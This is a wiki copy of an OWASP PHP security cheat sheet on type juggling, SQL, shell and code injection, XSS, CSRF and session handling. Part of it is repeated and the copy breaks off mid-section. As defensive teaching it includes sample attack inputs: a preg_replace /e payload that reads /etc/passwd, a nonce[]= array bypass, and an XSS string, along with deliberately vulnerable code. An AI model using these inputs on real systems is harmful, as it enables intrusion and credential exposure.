Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

* Don't have a '''trusted section''' in any web application. Many developers tend to leave admin areas out of XSS mitigation, but most intruders are interested in admin cookies and XSS. Every output should be cleared by the functions provided above, if it has a variable in it. Remove every instance of echo, print, and printf from your application and replace them with a secure template engine.

* HTTP-Only cookies are a very good practice, for a near future when every browser is compatible. Start using them now. (See PHP.ini configuration for best practice)

* The function declared above, only works for valid HTML syntax. If you put your Element Attributes without quotation, you're doomed. Go for valid HTML.

* [[Reflected XSS]] is as dangerous as normal XSS, and usually comes at the most dusty corners of an application. Seek it and mitigate it.

* Not every PHP installation has a working '''mhash''' extension, so if you need to do hashing, check it before using it. Otherwise you can't do SHA-256

* Not every PHP installation has a working '''mcrypt''' extension, and without it you can't do AES. Do check if you need it.

=CSRF Cheat Sheet=
CSRF mitigation is easy in theory, but hard to implement correctly. First, a few tips about CSRF:

* Every request that does something noteworthy, should be CSRF mitigated. Noteworthy things are changes to the system, and reads that take a long time.
* CSRF mostly happens on GET, but is easy to happen on POST. Don't ever think that post is secure.

The [[PHP_CSRF_Guard|OWASP PHP CSRFGuard]] is a code snippet that shows how to mitigate CSRF. Only copy pasting it is not enough. In the near future, a copy-pasteable version would be available (hopefully). For now, mix that with the following tips:

* Use re-authentication for critical operations (change password, recovery email, etc.)
* If you're not sure whether your operation is CSRF proof, consider adding CAPTCHAs (however CAPTCHAs are inconvenience for users)
* If you're performing operations based on other parts of a request (neither GET nor POST) e.g Cookies or HTTP Headers, you might need to add CSRF tokens there as well.
* AJAX powered forms need to re-create their CSRF tokens. Use the function provided above (in code snippet) for that and never rely on Javascript.
* CSRF on GET or Cookies will lead to inconvenience, consider your design and architecture for best practices.

=Authentication and Session Management Cheat Sheet=
PHP doesn't ship with a readily available authentication module, you need to implement your own or use a PHP framework, unfortunately most PHP frameworks are far from perfect in this manner, due to the fact that they are developed by open source developer community rather than security experts. A few instructive and useful tips are listed below:

==Session Management==
PHP's default session facilities are considered safe, the generated PHPSessionID is random enough, but the storage is not necessarily safe:

* Session files are stored in temp (/tmp) folder and are world writable unless suPHP installed, so any LFI or other leak might end-up manipulating them.
* Sessions are stored in files in default configuration, which is terribly slow for highly visited websites. You can store them on a memory folder (if UNIX).
* You can implement your own session mechanism, without ever relying on PHP for it. If you did that, store session data in a database. You could use all, some or none of the PHP functionality for session handling if you go with that.

===Session Hijacking Prevention===
It is good practice to bind sessions to IP addresses, that would prevent most session hijacking scenarios (but not all), however some users might use anonymity tools (such as TOR) and they would have problems with your service.

To implement this, simply store the client IP in the session first time it is created, and enforce it to be the same afterwards. The code snippet below returns client IP address:

$IP = getenv ( "REMOTE_ADDR" );

Keep in mind that in local environments, a valid IP is not returned, and usually the string ''':::1''' or ''':::127''' might pop up, thus adapt your IP checking logic. Also beware of versions of this code which make use of the HTTP_X_FORWARDED_FOR variable as this data is effectively user input and therefore susceptible to spoofing (more information [http://www.thespanner.co.uk/2007/12/02/faking-the-unexpected/ here] and [http://security.stackexchange.com/a/34327/37 here] )

===Invalidate Session ID===
You should invalidate (unset cookie, unset session storage, remove traces) of a session whenever a violation occurs (e.g 2 IP addresses are observed). A log event would prove useful. Many applications also notify the logged in user (e.g GMail).

===Rolling of Session ID===
You should roll session ID whenever elevation occurs, e.g when a user logs in, the session ID of the session should be changed, since it's importance is changed.

===Exposed Session ID===
Session IDs are considered confidential, your application should not expose them anywhere (specially when bound to a logged in user). Try not to use URLs as session ID medium.

Transfer session ID over TLS whenever session holds confidential information, otherwise a passive attacker would be able to perform session hijacking.

===Session Fixation===
Invalidate the Session id after user login (or even after each request) with [http://www.php.net/session_regenerate_id session_regenerate_id()].

===Session Expiration===
A session should expire after a certain amount of inactivity, and after a certain time of activity as well. The expiration process means invalidating and removing a session, and creating a new one when another request is met.

Also keep the '''log out''' button close, and unset all traces of the session on log out.

====Inactivity Timeout====
Expire a session if current request is X seconds later than the last request. For this you should update session data with time of the request each time a request is made. The common practice time is 30 minutes, but highly depends on application criteria.

This expiration helps when a user is logged in on a publicly accessible machine, but forgets to log out. It also helps with session hijacking.

====General Timeout====
Expire a session if current session has been active for a certain amount of time, even if active. This helps keeping track of things. The amount differs but something between a day and a week is usually good. To implement this you need to store start time of a session.

===Cookies===
Handling cookies in a PHP script has some tricks to it:

====Never Serialize====
Never serialize data stored in a cookie. It can easily be manipulated, resulting in adding variables to your scope.

====Proper Deletion====
To delete a cookie safely, use the following snippet:

setcookie ($name, "", 1);
setcookie ($name, false);
unset($_COOKIE[$name]);
The first line ensures that cookie expires in browser, the second line is the standard way of removing a cookie (thus you can't store false in a cookie). The third line removes the cookie from your script. Many guides tell developers to use time() - 3600 for expiry, but it might not work if browser time is not correct.

You can also use '''session_name()''' to retrieve the name default PHP session cookie.

====HTTP Only====
Most modern browsers support HTTP-only cookies. These cookies are only accessible via HTTP(s) requests and not JavaScript, so XSS snippets can not access them. They are very good practice, but are not satisfactory since there are many flaws discovered in major browsers that lead to exposure of HTTP only cookies to JavaScript.

To use HTTP-only cookies in PHP (5.2+), you should perform session cookie setting [http://php.net/manual/en/function.setcookie.php manually] (not using '''session_start'''):

#prototype
bool setcookie ( string $name [, string $value [, int $expire = 0 [, string $path [, string $domain [, bool $secure = false [, bool $httponly = false ]]]]]] )

#usage
if (!setcookie("MySessionID", $secureRandomSessionID, $generalTimeout, $applicationRootURLwithoutHost, NULL, NULL,true))
echo ("could not set HTTP-only cookie");

The '''path''' parameter sets the path which cookie is valid for, e.g if you have your website at example.com/some/folder the path should be /some/folder or other applications residing at example.com could also see your cookie. If you're on a whole domain, don't mind it. '''Domain''' parameter enforces the domain, if you're accessible on multiple domains or IPs ignore this, otherwise set it accordingly. If '''secure''' parameter is set, cookie can only be transmitted over HTTPS. See the example below:

$r=setcookie("SECSESSID","1203j01j0s1209jw0s21jxd01h029y779g724jahsa9opk123973",time()+60*60*24*7 /*a week*/,"/","owasp.org",true,true);
if (!$r) die("Could not set session cookie.");

====Internet Explorer issues====
Many version of Internet Explorer tend to have problems with cookies. Mostly setting Expire time to 0 fixes their issues.

==Authentication==

===Remember Me===
Many websites are vulnerable on remember me features. The correct practice is to generate a one-time token for a user and store it in the cookie. The token should also reside in data store of the application to be validated and assigned to user. This token should have '''no relevance''' to username and/or password of the user, a secure long-enough random number is a good practice.

It is better if you imply locking and prevent brute-force on remember me tokens, and make them long enough, otherwise an attacker could brute-force remember me tokens until he gets access to a logged in user without credentials.

* '''Never store username/password or any relevant information in the cookie.'''

=Configuration and Deployment Cheat Sheet=
Please see [[PHP Configuration Cheat Sheet]].

= Authors and Primary Editors =

[[User:Abbas Naderi|Abbas Naderi Afooshteh]] ([mailto:abbas.naderi@owasp.org abbas.naderi@owasp.org])

[[User:Achim|Achim]] - [mailto:achim_at_owasp.org Achim at owasp.org]

[mailto:vanderaj@owasp.org Andrew van der Stock]

[mailto:L.Plant.98@cantab.net Luke Plant]

= Other Cheatsheets =
{{Cheatsheet_Navigation}}

[[Category:Cheatsheets]]

PHP Security Cheat Sheet

2014-10-30T08:39:28Z

Luke Plant: /* Exceptions and error handling */

= Introduction =
This page intends to provide basic PHP security tips for developers and administrators. Keep in mind that tips mentioned in this page may not be sufficient for securing your web application.

==PHP overview==

PHP is the most commonly used server-side programming language, with 81.8% of web servers deploying it, according to W3 Techs.

An open source technology, PHP is unusual in that it is both a language ''and'' a web framework, with typical web framework features built-in to the language. Like all web languages, there is also a large community of libraries etc. that contribute to the security (or otherwise) of programming in PHP. All three aspects (language, framework, and libraries) need to be taken into consideration when trying to secure a PHP site.

Serious issues abound in all aspects of PHP, making it difficult to write secure PHP applications. If you’re forced to use PHP, then you must be aware of all its pitfalls.

===Language issues===

====Weak typing====

PHP is weakly typed, which means that it will automatically convert data of an incorrect type into the expected type. This feature very often masks errors by the developer or injections of unexpected data, leading to vulnerabilities (see “Input handling” below for an example).

Try to use functions and operators that do not do implicit type conversions (e.g. <code>===</code> and not <code>==</code>). Not all operators have strict versions (for example greater than and less than), and many built-in functions (like <code>in_array</code>) use weakly typed comparison functions by default, making it difficult to write correct code.

====Exceptions and error handling====

Almost all PHP builtins, and many PHP libraries, do not use exceptions, but instead report errors in other ways (such as via notices) that allow the faulty code to carry on running. This has the effect of masking many bugs. In many other languages, and most high level languages that compete with PHP, error conditions that are caused by developer errors, or runtime errors that the developer has failed to anticipate, will cause the program to stop running, which is the safest thing to do.

Consider the following code which attempts to limit access to a certain function using a database query that checks to see if the username is on a black list:

$db_link = mysqli_connect('localhost', 'dbuser', 'dbpassword', 'dbname');

function can_access_feature($current_user) {
global $db_link;
$username = mysqli_real_escape_string($db_link, $current_user->username);
$res = mysqli_query($db_link, "SELECT COUNT(id) FROM blacklisted_users WHERE username = '$username';");
$row = mysqli_fetch_array($res);
if ((int)$row[0] > 0) {
return false;
} else {
return true;
}
}

if (!can_access_feature($current_user)) {
exit();
}

// Code for feature here

There are various runtime errors that could occur in this - for example, the database connection could fail, due to a wrong password or the server being down etc., or the connection could be closed by the server after it was opened client side. In these cases, by default the <code>mysqli_</code> functions will issue warnings or notices, but will not throw exceptions or fatal errors. This means that the code simply carries on! The variable <code>$row</code> becomes <code>NULL</code>, and PHP will evaluate <code>$row[0]</code> also as <code>NULL</code>, and <code>(int)$row[0]</code> as <code>0</code>, due to weak typing. Eventually the <code>can_access_feature</code> function returns <code>true</code>, giving access to all users, whether they are on the blacklist or not.

The correct way to deal with this is to add error checking at every point. However, since this requires additional work, and is easily missed, this is insecure by default. It also requires a lot of boilerplate. While PHP in some ways appears to be a high-level language, when it comes to errors it is a low-level language like C, and requires diligent checking of many possibly error conditions. This makes it much harder to write secure code using PHP than with other high-level languages that are normally used for web development.

It is often best to turn up error reporting as high as possible using the
[http://www.php.net/manual/en/function.error-reporting.php error_reporting] function, and never attempt to suppress error messages — always follow the warnings and write code that is more robust.

====php.ini====

The behaviour of PHP code often depends strongly on the values of many configuration settings, including fundamental changes to things like how errors are handled. This can make it very difficult to write code that works correctly in all circumstances. Different libraries can have different expectations or requirements about these settings, making it difficult to correctly use 3rd party code. Some are mentioned below under “Configuration.”

====Unhelpful builtins====

PHP comes with many built-in functions, such as <code>addslashes</code>, <code>mysql_escape_string</code> and
<code>mysql_real_escape_string</code>, that appear to provide security, but are often buggy and, in fact, are unhelpful ways to deal with security problems.

Some of these built-ins are being deprecated and removed, but due to backwards compatibility policies this takes a long time.

PHP also provides an 'array' data structure, which is used extensively in all PHP code and internally, that is a confusing mix between an array and a dictionary. This confusion can cause even experience PHP developers to introduce critical security vulnerabilities such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] (see [http://cgit.drupalcode.org/drupal/commit/?id=26a7752c34321fd9cb889308f507ca6bdb777f08 the patch]).

===Framework issues===

====URL routing====

PHP’s built-in URL routing mechanism is to use files ending in “.php” in the directory structure. This opens up several vulnerabilities:

* Remote execution vulnerability for every file upload feature that does not sanitise the filename. Ensure that when saving uploaded files, the content and filename are appropriately sanitised.

* Source code, including config files, are stored in publicly accessible directories along with files that are meant to be downloaded (such as static assets). Misconfiguration (or lack of configuration) can mean that source code or config files that contain secret information can be downloaded by attackers. You can use <code>.htaccess</code> to limit access. This is not ideal, because it is insecure by default, but there is no other alternative.

====Input handling====

Instead of treating HTTP input as simple strings, PHP will build arrays from HTTP input, at the control of the client. This can lead to confusion about data, and can easily lead to security bugs. For example, consider this simplified code from a "one time nonce" mechanism that might be used, for example in a password reset code:

$supplied_nonce = $_GET['nonce'];
$correct_nonce = get_correct_value_somehow();

if (strcmp($supplied_nonce, $correct_nonce) == 0) {
// Go ahead and reset the password
} else {
echo 'Sorry, incorrect link';
}

If an attacker uses a querystring like this:

http://example.com/?nonce[]=a

then we end up with <code>$supplied_nonce</code> being an array. The function <code>strcmp()</code> will then return <code>NULL</code> (instead of throwing an exception, which would be much more useful), and then, due to weak typing and the use of the <code>==</code> (equality) operator instead of the <code>===</code> (identity) operator, the comparison succeeds (since the expression <code>NULL == 0</code> is true according to PHP), and the attacker will be able to reset the password without providing a correct nonce.

Exactly the same issue, combined with the confusion of PHP's 'array' data structure, can be exploited in issues such as [https://www.drupal.org/SA-CORE-2014-005 Drupal SA-CORE-2014-005] - see [http://www.zoubi.me/blog/drupageddon-sa-core-2014-005-drupal-7-sql-injection-exploit-demo example exploit].

====Template language====

PHP is essentially a template language. However, it doesn't do HTML escaping by
default, which makes it very problematic for use in a web application - see
section on XSS below.

====Other inadequacies====

There are other important things that a web framework should supply, such as a
CSRF protection mechanism that is on by default. Because PHP comes with a
rudimentary web framework that is functional enough to allow people to create
web sites, many people will do so without any knowledge that they need CSRF
protection.

===Third party PHP code===

Libraries and projects written in PHP are often insecure due to the problems
highlighted above, especially when proper web frameworks are not used. Do not
trust PHP code that you find on the web, as many security vulnerabilities can
hide in seemingly innocent code.

Poorly written PHP code often results in warnings being emitted, which can cause
problems. A common solution is to turn off all notices, which is exactly the opposite
of what ought to be done (see above), and leads to progressively worse code.

==Update PHP Now==
'''Important Note: ''' PHP 5.2.x is officially unsupported now. This means that in the near future, when a common security flaw on PHP 5.2.x is discovered, PHP 5.2.x powered website may become vulnerable. ''It is of utmost important that you upgrade your PHP to 5.3.x or 5.4.x right now.''

Also keep in mind that you should regularly upgrade your PHP distribution on an operational server. Every day new flaws are discovered and announced in PHP and attackers use these new flaws on random servers frequently.

=Configuration=

The behaviour of PHP is strongly affected by configuration, which can be done through the "php.ini" file, Apache configuration directives and runtime mechanisms - see http://www.php.net/manual/en/configuration.php

There are many security related configuration options. Some are listed below:

==SetHandler==

PHP code should be configured to run using a 'SetHandler' directive. In many instances, it is wrongly configured using an 'AddHander' directive. This works, but also makes other files executable as PHP code - for example, a file name "foo.php.txt" will be handled as PHP code, which can be a very serious remote execution vulnerability if "foo.php.txt" was not intended to be executed (e.g. example code) or came from a malicious file upload.

=Untrusted data=
All data that is a product, or subproduct, of user input is to NOT be trusted. They have to either be validated, using the correct methodology, or filtered, before considering them untainted.

Super globals which are not to be trusted are $_SERVER, $_GET, $_POST, $_REQUEST, $_FILES and $_COOKIE. Not all data in $_SERVER can be faked by the user, but a considerable amount in it can, particularly and specially everything that deals with HTTP headers (they start with HTTP_).

==File uploads==

Files received from a user pose various security threats, especially if other users can download these files. In particular:

* Any file served as HTML can be used to do an XSS attack
* Any file treated as PHP can be used to do an extremely serious attack - a remote execution vulnerability.

Since PHP is designed to make it very easy to execute PHP code (just a file with the right extension), it is particularly important for PHP sites (any site with PHP installed and configured) to ensure that uploaded files are only saved with sanitised file names.

==Common mistakes on the processing of $_FILES array==
It is common to find code snippets online doing something similar to the following code:

if ($_FILES['some_name']['type'] == 'image/jpeg') {
//Proceed to accept the file as a valid image
}

However, the type is not determined by using heuristics that validate it, but by simply reading the data sent by the HTTP request, which is created by a client. A better, yet not perfect, way of validating file types is to use finfo class.

$finfo = new finfo(FILEINFO_MIME_TYPE);
$fileContents = file_get_contents($_FILES['some_name']['tmp_name']);
$mimeType = $finfo->buffer($fileContents);

Where $mimeType is a better checked file type. This uses more resources on the server, but can prevent the user from sending a dangerous file and fooling the code into trusting it as an image, which would normally be regarded as a safe file type.

==Use of $_REQUEST==
Using $_REQUEST is strongly discouraged. This super global is not recommended since it includes not only POST and GET data, but also the cookies sent by the request. This can lead to confusion and makes your code prone to mistakes, which could lead to security problems.

=Database Cheat Sheet=
Since a single SQL Injection vulnerability permits the hacking of your website, and every hacker first tries SQL injection flaws, fixing SQL injections are the first step to securing your PHP powered application. Abide to the following rules:

==Never concatenate or interpolate data in SQL==

Never build up a string of SQL that includes user data, either by concatenation:

$sql = "SELECT * FROM users WHERE username = '" . $username . "';";

or interpolation, which is essentially the same:

$sql = "SELECT * FROM users WHERE username = '$username';";

If '$username' has come from an untrusted source (and you must assume it has, since you cannot easily see that in source code), it could contain characters such as ' that will allow an attacker to execute very different queries than the one intended, including deleting your entire database etc.

==Escaping is not safe==
'''mysql_real_escape_string''' is not safe. Don't rely on it for your SQL injection prevention.

'''Why:'''
When you use mysql_real_escape_string on every variable and then concat it to your query, ''you are bound to forget that at least once'', and once is all it takes. You can't force yourself in any way to never forget. In addition, you have to ensure that you use quotes in the SQL as well, which is not a natural thing to do if you are assuming the data is numeric, for example. Instead use prepared statements, or equivalent APIs that always do the correct kind of SQL escaping for you. (Most ORMs will do this escaping, as well as creating the SQL for you).

==Use Prepared Statements==
Prepared statements are very secure. In a prepared statement, data is separated from the SQL command, so that everything user inputs is considered data and put into the table the way it was.

See the PHP docs on [http://php.net/manual/en/mysqli.quickstart.prepared-statements.php MySQLi prepared statements] and [http://php.net/manual/en/pdo.prepare.php PDO prepared statements]

===Where prepared statements do not work===
The problem is, when you need to build dynamic queries, or need to set variables not supported as a prepared variable, or your database engine does not support prepared statements. For example, PDO MySQL does not support ? as LIMIT specifier. In these cases, you should use query builder that is provided by a framework. Do not roll your own.

==ORM==
ORMs (Object Relational Mappers) are good security practice. If you're using an ORM (like [http://www.doctrine-project.org/ Doctrine]) in your PHP project, you're still prone to SQL attacks. Although injecting queries in ORM's is much harder, keep in mind that concatenating ORM queries makes for the same flaws that concatenating SQL queries, so '''NEVER''' concatenate strings sent to a database. ORM's support prepared statements as well.

==Encoding Issues==

===Use UTF-8 unless necessary===
Many new attack vectors rely on encoding bypassing. Use UTF-8 as your database and application charset unless you have a mandatory requirement to use another encoding.

$DB = new mysqli($Host, $Username, $Password, $DatabaseName);
if (mysqli_connect_errno())
trigger_error("Unable to connect to MySQLi database.");
$DB->set_charset('UTF-8');

=Other Injection Cheat Sheet=
SQL aside, there are a few more injections possible ''and common'' in PHP:

==Shell Injection==
A few PHP functions namely

* shell_exec
* exec
* passthru
* system
* [http://no2.php.net/manual/en/language.operators.execution.php backtick operator] ( ` )

run a string as shell scripts and commands. Input provided to these functions (specially backtick operator that is not like a function). Depending on your configuration, shell script injection can cause your application settings and configuration to leak, or your whole server to be hijacked. This is a very dangerous injection and is somehow considered the haven of an attacker.

Never pass tainted input to these functions - that is input somehow manipulated by the user - unless you're absolutely sure there's no way for it to be dangerous (which you never are without whitelisting). Escaping and any other countermeasures are ineffective, there are plenty of vectors for bypassing each and every one of them; don't believe what novice developers tell you.

==Code Injection==
All interpreted languages such as PHP, have some function that accepts a string and runs that in that language. In PHP this function is named eval().
Using eval is a very bad practice, not just for security. If you're absolutely sure you have no other way but eval, use it without any tainted input. Eval is usually also slower.

Function preg_replace() should not be used with unsanitised user input, because the payload will be [http://stackoverflow.com/a/4292439 eval()'ed].

preg_replace("/.*/e","system('echo /etc/passwd')");

Reflection also could have code injection flaws. Refer to the appropriate reflection documentations, since it is an advanced topic.

==Other Injections==
LDAP, XPath and any other third party application that runs a string, is vulnerable to injection. Always keep in mind that some strings are not data, but commands and thus should be secure before passing to third party libraries.

=XSS Cheat Sheet=

There are two scenarios when it comes to XSS, each one to be mitigated accordingly:

== No Tags ==

Most of the time, there is no need for user supplied data to contain unescaped HTML tags when output. For example when you're about to dump a textbox value, or output user data in a cell.

If you are using standard PHP for templating, or `echo` etc., then you can mitigate XSS in this case by applying 'htmlspecialchars' to the data, or the following function (which is essentially a more convenient wrapper around 'htmlspecialchars'). '''However, this is not recommended'''. The problem is that you have to remember to apply it every time, and if you forget once, you have an XSS vulnerability. Methodologies that are insecure by default must be treated as insecure.

Instead of this, you should use a template engine that applies HTML escaping '''by default''' - see below. All HTML should be passed out through the template engine.

If you cannot switch to a secure template engine, you can use the function below on all untrusted data.

'''Keep in mind that this scenario won't mitigate XSS when you use user input in dangerous elements (style, script, image's src, a, etc.)''', but mostly you don't. Also keep in mind that every output that is not intended to contain HTML tags should be sent to the browser filtered with the following function.

//xss mitigation functions
function xssafe($data,$encoding='UTF-8')
{
return htmlspecialchars($data,ENT_QUOTES | ENT_HTML401,$encoding);
}
function xecho($data)
{
echo xssafe($data);
}

//usage example
<input type='text' name='test' value='<?php
xecho ("' onclick='alert(1)");
?>' />

==Untrusted Tags==
When you need to allow users to supply HTML tags that are used in your output, such as rich blog comments, forum posts, blog posts and etc., but cannot trust the user, you have to use a '''Secure Encoding''' library. This is usually hard and slow, and that's why most applications have XSS vulnerabilities in them. OWASP ESAPI has a bunch of codecs for encoding different sections of data. There's also OWASP AntiSammy and HTMLPurifier for PHP. Each of these require lots of configuration and learning to perform well, but you need them when you want that good of an application.

==Templating engines==

There are several templating engines that can help the programmer (and designer) to output data and protect from most XSS vulnerabilities. While their primary goal isn't security, but improving the designing experience, most important templating engines automatically escape the variables on output and force the developer to explicitly indicate if there is a variable that shouldn't be escaped. This makes output of variables have a white-list behavior. There exist several of these engines. A good example is twig[http://twig.sensiolabs.org/]. Other popular template engines are Smarty, Haanga and Rain TPL.

Templating engines that follow a white-list approach to escaping are essential for properly dealing with XSS, because if you are manually applying escaping, it is too easy to forget, and developers should always use systems that are secure by default if they take security seriously.

==Other Tips==

